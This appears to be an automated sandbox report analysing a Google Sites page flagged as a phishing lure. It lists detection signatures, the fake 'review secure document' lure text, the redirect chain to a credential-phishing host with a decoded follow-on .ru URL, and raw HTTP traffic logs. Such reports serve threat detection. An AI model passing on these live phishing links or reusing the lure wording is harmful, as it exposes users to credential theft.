Edit tour

Windows Analysis Report
https://sites.google.com/mdisrupt.com/rfp/home

Overview

General Information

Sample URL:	https://sites.google.com/mdisrupt.com/rfp/home
Analysis ID:	1562034
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Yara detected HtmlPhish20

AI detected landing page (webpage, office document or email)

Phishing site or detected (based on various text indicators)

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3244 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2084,i,14014405746246284564,13049025403623496514,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sites.google.com/mdisrupt.com/rfp/home" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.1.pages.csv	JoeSecurity_HtmlPhish_20	Yara detected HtmlPhish_20	Joe Security
1.0.pages.csv	JoeSecurity_HtmlPhish_20	Yara detected HtmlPhish_20	Joe Security
1.5.pages.csv	JoeSecurity_HtmlPhish_20	Yara detected HtmlPhish_20	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_20	Yara detected HtmlPhish_20	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://zx.valcondunar.com/favicon.ico

Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: zx.valcondunar.com

Virustotal: Detection: 8%

Perma Link

Phishing

Yara detected HtmlPhish20

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: https://sites.google.com/mdisrupt.com/rfp/home

Joe Sandbox AI: Page contains button: 'REVIEW SECURE DOCUMENT' Source: '1.0.pages.csv'

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.1

OCR Text: New Document Received You've received (2) new PDF Documents for your review Please sign & return REVIEW SECURE DOCUMENT

Source: https://zx.valcondunar.com/b3k54/

HTTP Parser: Base64 decoded: https://VqRvGkihhI8jUarE97qGKbJaCpLiEMMAZIFtS6XZ5fRv67Gr6zrMeFfSo.aeeouirl.ru/LArTKnytJjinqcttTvxQYWUrtzNszYKWUPZTXPKCBFWHFDFXNVOLKTTVKWYPWPROSUBJR

Source: https://zx.valcondunar.com/b3k54/	HTTP Parser: No favicon
Source: https://zx.valcondunar.com/b3k54/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49807 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /js/client.js?onload=gapiLoaded HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sites.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /js/client.js?onload=gapiLoaded HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.lb.en.6zM9SN8ON8Q.O/m=client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo9LiInNUyZ6A99oK9HdmPXGee7Zyg/cb=gapi.loaded_0?le=scs HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sites.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.lb.en.6zM9SN8ON8Q.O/m=client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo9LiInNUyZ6A99oK9HdmPXGee7Zyg/cb=gapi.loaded_0?le=scs HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=B6G9py2v4WviFd0VL9VZAwRS3el97EaJGJOVbI-CGjqEvmPlXMQELm2aL8BiIZEk6EhNllSohvQoIx56GU4lkwDlyGs4_rtaecHqSJgy3dAO_1ZeSu9jaqSJRgkQwQ2KPaBBHkxKEtH2GEEpRq4A8xfMQGGHfu5AuwExnBdFuiS6XwGQSEqCqO0
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AT32BAhKSMEWEh4&MD=lSB9zO++ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=kDK6qfujgG9s_UsOyotTtacHhhQNkJbtH5MbMWYK7FTK2HaQejfi_hbyclrbDKJqNH0VZhMizergvWfgXBgL6TgTxACWsI8eYvYSkzBVkB6IL9Gm8HMNhsmO1u9s7AU_Kzv-_SOpvBLU0DfT2PN9_VSczQtj_EBQiAINsalEiVnkRv8LiU5LVKppZMOaXBE
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=WzIgkkcHcAI7zahTZmGPomRXm0sC0hp5tD5DbsAweb6P-MOuUUAI565SH0LAq5-kRbf3Jfs0MXHyk3yu8yG1TXg7MRBUSjrtX17rWYm4mSDAkE-b1kSmI9bpH4tYoIx4qOe6CCRk-LMCzzUoJCOFji2qdeK-SZieseS2IXBnXb2gvNmo_thUD7mqA3h46HM
Source: global traffic	HTTP traffic detected: GET /url?q=https%3A%2F%2Fzx.valcondunar.com%2Fb3k54%2F&sa=D&sntz=1&usg=AOvVaw3iXtykVLTRndaG0sFMkhhS HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://sites.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=WzIgkkcHcAI7zahTZmGPomRXm0sC0hp5tD5DbsAweb6P-MOuUUAI565SH0LAq5-kRbf3Jfs0MXHyk3yu8yG1TXg7MRBUSjrtX17rWYm4mSDAkE-b1kSmI9bpH4tYoIx4qOe6CCRk-LMCzzUoJCOFji2qdeK-SZieseS2IXBnXb2gvNmo_thUD7mqA3h46HM
Source: global traffic	HTTP traffic detected: GET /b3k54/ HTTP/1.1Host: zx.valcondunar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zx.valcondunar.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.valcondunar.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: zx.valcondunar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.valcondunar.com/b3k54/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRSS1h1SzBWN2Q2cDJRY0VCQVRPYXc9PSIsInZhbHVlIjoiZmdrYjBZVnFZd1pxQlBoL3E0OVkzUmdmU3NhR3RxNU9vdGk3UU5jOUhXUXMrNkovb3N1SjFuRHE0bkxDN2l6U1lydXkwNzBJSzB4dEhYTXRWenV6KzhmZS93a05LVnRYZ083RHFBSnJ2dFplT3dCZGNTL3MzdzdKaXdCak9NV08iLCJtYWMiOiIwYWJiNTA5ZmNjNmMzZTJhNDgzYWIzMjQ2NTQyNTQxOGIyYzE1MWJmZGIxY2I1MzNiZmE1ODIwZmUzZjZkZGEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IitUWU0xNjEwUkhsMTVldTExV1hjQWc9PSIsInZhbHVlIjoiRHZOVUxaZmNlWThBejhvUzkzV0p5cHhvMjNkUjlzT3ZodUZKS2k4TnNVcDltVWlCWTc4cWJ1MDJXcGlGWnZ0RnRDbTIzL3NjZTlUbkIzbHA4WGcrQmlGaEgzMDR4eDV2NjhWR01WMmw4VzlKSHRydGZKN3FrdURyZ1plTW5FVE4iLCJtYWMiOiIxOTAwYWIyM2RiYmZiM2M4YjQwOTIzMTVlN2NkOTcxMGU5Zjg2NzlmMGI0Y2FhNGFjOGIxZTc4ZDU3MGQ0OTZhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AT32BAhKSMEWEh4&MD=lSB9zO++ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
